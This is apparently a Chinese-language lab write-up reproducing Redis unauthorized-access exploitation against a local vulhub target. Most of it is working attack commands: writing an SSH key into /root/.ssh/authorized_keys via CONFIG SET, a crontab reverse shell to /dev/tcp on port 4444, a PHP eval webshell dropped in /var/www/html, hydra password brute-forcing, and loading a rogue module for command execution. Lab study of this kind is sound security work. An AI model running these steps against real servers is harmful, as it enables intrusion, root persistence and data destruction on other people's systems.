概述
Redis 默認綁定在 0.0.0.0:6379
,在未配置防火墻或訪問控制的情況下會將服務暴露在公網上。若未設置訪問密碼(默認通常為空),攻擊者可直接未授權訪問 Redis。利用 Redis 提供的 CONFIG
命令,攻擊者可修改配置并將數據持久化到指定路徑,從而實現向服務器寫入任意文件。通過該方式,攻擊者可將自己的 SSH 公鑰寫入 /root/.ssh/authorized_keys
文件中,進而使用對應私鑰遠程登錄目標主機,獲取系統權限。
條件
- Redis服務以root用戶身份運行,權限較高。
- Redis未設置密碼或使用弱密碼,允許免密或弱認證訪問。
- Redis監聽在公網地址(如
0.0.0.0:6379
),且未配置防火墻等訪問控制,導致任意IP均可連接。
方法
- 使用
INFO
命令獲取Redis服務器參數和敏感信息,輔助滲透。 - 上傳SSH公鑰,實現免密碼SSH登錄。
- 利用
crontab
定時任務反彈Shell。 - 在Web目錄寫入WebShell。
- 利用Redis主從復制機制實現遠程代碼執行(RCE)。
危害
- 攻擊者無需認證即可訪問內部數據,導致敏感信息泄露,同時可惡意執行
flushall
清空所有數據。 - 攻擊者可利用
EVAL
命令執行 Lua 代碼,或通過數據備份功能向磁盤寫入后門程序。 - 最嚴重的情況是,當 Redis 以 root 身份運行時,攻擊者可寫入 root 賬戶的 SSH 公鑰,實現免密碼遠程登錄受害服務器。
漏洞復現
環境準備
vulhub起靶場
靶場目錄和啟動命令下面都有
docker compose up
docker ps
攻擊機環境準備
wget http://download.redis.io/releases/redis-2.8.12.tar.gz
tar -xzf redis-2.8.12.tar.gz
cd redis-2.8.12
make
cd src
./redis-cli -h
測試連通性
漏洞探測
端口掃描
nmap -sV --open -p- 192.168.64.10
通常 Redis 服務默認開放在 6379 端口,但我的靶機將其映射到了 52018 端口。但是nmap 仍成功識別出該端口運行的是 Redis 服務。
連接redis
以下命令用于連接遠程 Redis 服務器
./redis-cli -h 192.168.64.10 -p 52018
./redis-cli
表示使用當前目錄下的 Redis 命令行客戶端進行連接,-h
參數用于指定目標主機的 IP 地址(此處為 192.168.64.10
),-p
用于指定 Redis 服務監聽的端口號(此處為 52018
)。
獲得SSH登陸權限
可以通過向 Redis 數據庫中寫入 SSH 公鑰的方式,獲取目標服務器的 SSH 登錄權限。
原理
利用 Redis 未授權訪問漏洞,將本機的 SSH 公鑰作為一個字符串寫入 Redis 中(key 值可以隨意),然后通過修改 Redis 的工作目錄為 /root/.ssh
,并將保存文件名設置為 authorized_keys
。這樣,當 Redis 執行保存操作時,便會將 SSH 公鑰寫入到目標服務器的 /root/.ssh/authorized_keys
文件中,從而實現免密登錄。
生成key
使用以下命令生成一對 SSH 密鑰(默認生成 id_rsa
和 id_rsa.pub
)
ssh-keygen -t rsa
執行命令后按回車使用默認路徑和空密碼即可。生成完成后,公鑰文件 id_rsa.pub
將用于寫入目標 Redis 服務器,實現后續的免密 SSH 登錄。
導入key.txt
文件
以下命令將本機生成的公鑰包裝成一個帶換行的文件 key.txt
,用于后續寫入 Redis
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt
寫入靶機
將 key.txt
的內容寫入 Redis 緩存
cat key.txt | ./redis-cli -h 192.168.64.10 -p 51622 -x set test
說明:使用 -x
選項可以將標準輸入內容作為值寫入鍵 test
。(注:由于靶機重啟,端口變更為 51622)
設置靶機ssh文件
注意如果這里使用docker起環境就不能寫入文件(沒有權限),下文有exp地址.
./redis-cli -h 192.168.64.10 -p 51622
# 設置 Redis 的工作目錄為目標機器的 /root/.ssh 目錄
config set dir /root/.ssh
# 設置保存文件名為 authorized_keys(SSH 公鑰默認認證文件)
config set dbfilename authorized_keys
# 查看當前所有 key,確認公鑰是否已寫入緩存
keys *
get test# 將緩存中的數據寫入到硬盤文件
save# 之后即可通過 SSH 免密碼登錄目標主機
ssh root@192.168.64.10# 登錄后可以查看寫入的公鑰文件內容
cat /root/.ssh/authorized_keys
注意:如果 Redis 運行在 Docker 容器中,通常沒有權限寫入文件系統,無法完成此操作。后文會提供對應的 Exploit 腳本地址。
漏洞利用
通過 crontab
定時任務反彈
原理與寫入公鑰類似,只是寫入內容和路徑不同。通過將反彈shell命令寫入 /var/spool/cron/root
,實現定時執行反彈shell。
# 本地監聽端口(端口可自定義,避免沖突)
nc -lv 6666# 連接 Redis,寫入反彈shell任務
./redis-cli -h 192.168.64.10
set test2 "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/客戶端IP/4444 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save
Web目錄寫入 WebShell
利用 Redis 寫入 Web 目錄,生成 WebShell,實現遠程代碼執行。
./redis-cli -h 192.168.64.10
config set dir /var/www/html
set shell "\n\n\n<?php @eval(\$_POST['wintry']);?>\n\n\n"
config set dbfilename shell.php
save# 利用hydra爆破redis密碼(若設置了密碼)
hydra -P passwd.txt redis://192.168.1.111
利用 Redis 主從復制實現遠程命令執行 (ECE)
Redis 通過主從復制機制分攤壓力,但可被攻擊者利用偽裝為 Redis 主節點,傳輸惡意模塊,實現命令執行。
攻擊思路:
- 偽裝成 Redis 服務器,欺騙受害者將其設置為主節點。
- 傳輸惡意模塊(.so 文件)到受害者。
- 受害者加載該模塊,實現任意命令執行。
./redis-cli -h 192.168.64.10
MODULE LOAD /root/redis-rogue-server/exp.so
system.exec "whoami"
Redis 常用命令匯總
redis-cli -h ip -p 6379 -a passwd # 連接遠程Redis
info # 查看Redis信息
set key value # 設置鍵值對
get key # 獲取鍵值
incr key # 遞增鍵值
keys * # 查看所有鍵
config set protected-mode no # 關閉保護模式
config set dir /path/to/dir # 設置保存目錄
config set dbfilename filename.rdb # 設置保存文件名
save # 保存快照到磁盤
flushall # 清空所有數據
del key # 刪除指定鍵
slaveof ip port # 設置主從復制關系
mset k1 v1 k2 v2 k3 v3 # 批量設置鍵值
mget k1 k2 k3 # 批量獲取鍵值
參考文章
- Redis未授權訪問 (https://wiki.wgpsec.org/knowledge/web/unauthorized.html#redis)
- redis未授權漏洞復現(超詳細)(https://www.cnblogs.com/qingzhang/articles/18195354)
- redis未授權訪問漏洞【vulhub靶場】復現(https://blog.csdn.net/m0_55854679/article/details/126100539)